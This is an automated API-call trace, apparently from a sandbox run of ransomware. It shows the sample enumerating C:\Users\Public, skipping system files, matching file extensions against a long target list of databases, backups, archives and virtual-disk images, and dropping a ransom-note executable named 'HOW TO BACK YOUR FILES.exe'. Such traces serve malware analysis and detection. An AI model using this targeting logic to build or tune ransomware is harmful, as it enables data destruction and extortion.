	[0035.645] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.645] lstrlenW (lpString="trc") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.645] lstrlenW (lpString="trm") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.645] lstrlenW (lpString="udb") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.645] lstrlenW (lpString="udl") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.645] lstrlenW (lpString="usr") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.645] lstrlenW (lpString="v12") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.645] lstrlenW (lpString="vis") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.646] lstrlenW (lpString="vpd") returned 3
	[0035.646] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.646] lstrlenW (lpString="vvv") returned 3
	[0035.646] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.646] lstrlenW (lpString="wdb") returned 3
	[0035.646] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.646] lstrlenW (lpString="wmdb") returned 4
	[0035.646] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.646] lstrlenW (lpString="wrk") returned 3
	[0035.646] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.646] lstrlenW (lpString="xdb") returned 3
	[0035.646] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.646] lstrlenW (lpString="xld") returned 3
	[0035.646] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.646] lstrlenW (lpString="xmlff") returned 5
	[0035.646] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.646] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8053f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d8053f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.646] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.646] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="Apollon865.txt.exe") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2=".") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="..") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="windows") returned -1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="bootmgr") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="temp") returned -1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="pagefile.sys") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="boot") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="ids.txt") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="ntuser.dat") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="perflogs") returned 1
	[0035.646] lstrcmpiW (lpString1="Public", lpString2="MSBuild") returned 1
	[0035.646] lstrlenW (lpString="Public") returned 6
	[0035.646] lstrlenW (lpString="C:\\Users\\desktop.ini") returned 20
	[0035.646] lstrcpyW (in: lpString1=0x2d3e562, lpString2="Public" | out: lpString1="Public") returned="Public"
	[0035.647] SetFileAttributesW (lpFileName="C:\\Users\\Public", dwFileAttributes=0x10) returned 1
	[0035.647] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0035.647] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x20) returned 0x597970
	[0035.647] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0035.647] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0
	[0035.647] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0035.647] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0035.647] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public", iMaxLength=260 | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0035.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597970 | out: hHeap=0x580000) returned 1
	[0035.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0035.647] lstrlenW (lpString="C:\\Users\\Public") returned 15
	[0035.647] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0035.647] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.647] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.652] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.652] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8c3ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8c3ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0035.652] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.652] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.652] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.652] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8c3ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8c3ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.652] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.652] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.652] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.652] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.652] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0035.652] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0035.652] lstrlenW (lpString="Desktop") returned 7
	[0035.653] lstrlenW (lpString="C:\\Users\\Public\\*") returned 17
	[0035.653] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0035.653] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop", dwFileAttributes=0x12) returned 1
	[0035.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0035.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7e98
	[0035.653] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0035.653] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.653] lstrlenW (lpString="desktop.ini") returned 11
	[0035.653] lstrlenW (lpString="C:\\Users\\Public\\Desktop") returned 23
	[0035.653] lstrcpyW (in: lpString1=0x2d3e570, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.653] lstrlenW (lpString="desktop.ini") returned 11
	[0035.653] lstrlenW (lpString="Apollon865") returned 10
	[0035.653] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.653] lstrlenW (lpString=".dll") returned 4
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.653] lstrlenW (lpString=".lnk") returned 4
	[0035.653] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.653] lstrlenW (lpString=".ini") returned 4
	[0035.654] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.654] lstrlenW (lpString=".sys") returned 4
	[0035.654] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.654] lstrlenW (lpString="desktop.ini") returned 11
	[0035.654] lstrlenW (lpString="bak") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.654] lstrlenW (lpString="ba_") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.654] lstrlenW (lpString="dbb") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.654] lstrlenW (lpString="vmdk") returned 4
	[0035.654] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.654] lstrlenW (lpString="rar") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.654] lstrlenW (lpString="zip") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.654] lstrlenW (lpString="tgz") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.654] lstrlenW (lpString="vbox") returned 4
	[0035.654] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.654] lstrlenW (lpString="vdi") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.654] lstrlenW (lpString="vhd") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.654] lstrlenW (lpString="vhdx") returned 4
	[0035.654] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.654] lstrlenW (lpString="avhd") returned 4
	[0035.654] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.654] lstrlenW (lpString="db") returned 2
	[0035.654] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.654] lstrlenW (lpString="db2") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.654] lstrlenW (lpString="db3") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.654] lstrlenW (lpString="dbf") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.654] lstrlenW (lpString="mdf") returned 3
	[0035.654] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.654] lstrlenW (lpString="mdb") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.655] lstrlenW (lpString="sql") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.655] lstrlenW (lpString="sqlite") returned 6
	[0035.655] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.655] lstrlenW (lpString="sqlite3") returned 7
	[0035.655] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.655] lstrlenW (lpString="sqlitedb") returned 8
	[0035.655] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.655] lstrlenW (lpString="xml") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.655] lstrlenW (lpString="$er") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.655] lstrlenW (lpString="4dd") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.655] lstrlenW (lpString="4dl") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.655] lstrlenW (lpString="^^^") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.655] lstrlenW (lpString="abs") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.655] lstrlenW (lpString="abx") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.655] lstrlenW (lpString="accdb") returned 5
	[0035.655] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.655] lstrlenW (lpString="accdc") returned 5
	[0035.655] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.655] lstrlenW (lpString="accde") returned 5
	[0035.655] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.655] lstrlenW (lpString="accdr") returned 5
	[0035.655] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.655] lstrlenW (lpString="accdt") returned 5
	[0035.655] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.655] lstrlenW (lpString="accdw") returned 5
	[0035.655] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.655] lstrlenW (lpString="accft") returned 5
	[0035.655] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.655] lstrlenW (lpString="adb") returned 3
	[0035.655] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.656] lstrlenW (lpString="adb") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.656] lstrlenW (lpString="ade") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.656] lstrlenW (lpString="adf") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.656] lstrlenW (lpString="adn") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.656] lstrlenW (lpString="adp") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.656] lstrlenW (lpString="alf") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.656] lstrlenW (lpString="ask") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.656] lstrlenW (lpString="btr") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.656] lstrlenW (lpString="cat") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.656] lstrlenW (lpString="cdb") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.656] lstrlenW (lpString="ckp") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.656] lstrlenW (lpString="cma") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.656] lstrlenW (lpString="cpd") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.656] lstrlenW (lpString="dacpac") returned 6
	[0035.656] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.656] lstrlenW (lpString="dad") returned 3
	[0035.656] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.656] lstrlenW (lpString="dadiagrams") returned 10
	[0035.656] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.656] lstrlenW (lpString="daschema") returned 8
	[0035.656] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.656] lstrlenW (lpString="db-journal") returned 10
	[0035.656] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.656] lstrlenW (lpString="db-shm") returned 6
	[0035.656] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.656] lstrlenW (lpString="db-wal") returned 6
	[0035.656] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.657] lstrlenW (lpString="dbc") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.657] lstrlenW (lpString="dbs") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.657] lstrlenW (lpString="dbt") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.657] lstrlenW (lpString="dbv") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.657] lstrlenW (lpString="dbx") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.657] lstrlenW (lpString="dcb") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.657] lstrlenW (lpString="dct") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.657] lstrlenW (lpString="dcx") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.657] lstrlenW (lpString="ddl") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.657] lstrlenW (lpString="dlis") returned 4
	[0035.657] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.657] lstrlenW (lpString="dp1") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.657] lstrlenW (lpString="dqy") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.657] lstrlenW (lpString="dsk") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.657] lstrlenW (lpString="dsn") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.657] lstrlenW (lpString="dtsx") returned 4
	[0035.657] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.657] lstrlenW (lpString="dxl") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.657] lstrlenW (lpString="eco") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.657] lstrlenW (lpString="ecx") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.657] lstrlenW (lpString="edb") returned 3
	[0035.657] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.658] lstrlenW (lpString="epim") returned 4
	[0035.658] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.658] lstrlenW (lpString="fcd") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.658] lstrlenW (lpString="fdb") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.658] lstrlenW (lpString="fic") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.658] lstrlenW (lpString="flexolibrary") returned 12
	[0035.658] lstrlenW (lpString="fm5") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.658] lstrlenW (lpString="fmp") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.658] lstrlenW (lpString="fmp12") returned 5
	[0035.658] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.658] lstrlenW (lpString="fmpsl") returned 5
	[0035.658] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.658] lstrlenW (lpString="fol") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.658] lstrlenW (lpString="fp3") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.658] lstrlenW (lpString="fp4") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.658] lstrlenW (lpString="fp5") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.658] lstrlenW (lpString="fp7") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.658] lstrlenW (lpString="fpt") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.658] lstrlenW (lpString="frm") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.658] lstrlenW (lpString="gdb") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.658] lstrlenW (lpString="gdb") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.658] lstrlenW (lpString="grdb") returned 4
	[0035.658] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.658] lstrlenW (lpString="gwi") returned 3
	[0035.658] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.659] lstrlenW (lpString="hdb") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.659] lstrlenW (lpString="his") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.659] lstrlenW (lpString="ib") returned 2
	[0035.659] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.659] lstrlenW (lpString="idb") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.659] lstrlenW (lpString="ihx") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.659] lstrlenW (lpString="itdb") returned 4
	[0035.659] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.659] lstrlenW (lpString="itw") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.659] lstrlenW (lpString="jet") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.659] lstrlenW (lpString="jtx") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.659] lstrlenW (lpString="kdb") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.659] lstrlenW (lpString="kexi") returned 4
	[0035.659] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.659] lstrlenW (lpString="kexic") returned 5
	[0035.659] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.659] lstrlenW (lpString="kexis") returned 5
	[0035.659] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.659] lstrlenW (lpString="lgc") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.659] lstrlenW (lpString="lwx") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.659] lstrlenW (lpString="maf") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.659] lstrlenW (lpString="maq") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.659] lstrlenW (lpString="mar") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.659] lstrlenW (lpString="marshal") returned 7
	[0035.659] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.659] lstrlenW (lpString="mas") returned 3
	[0035.659] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.660] lstrlenW (lpString="mav") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.660] lstrlenW (lpString="maw") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
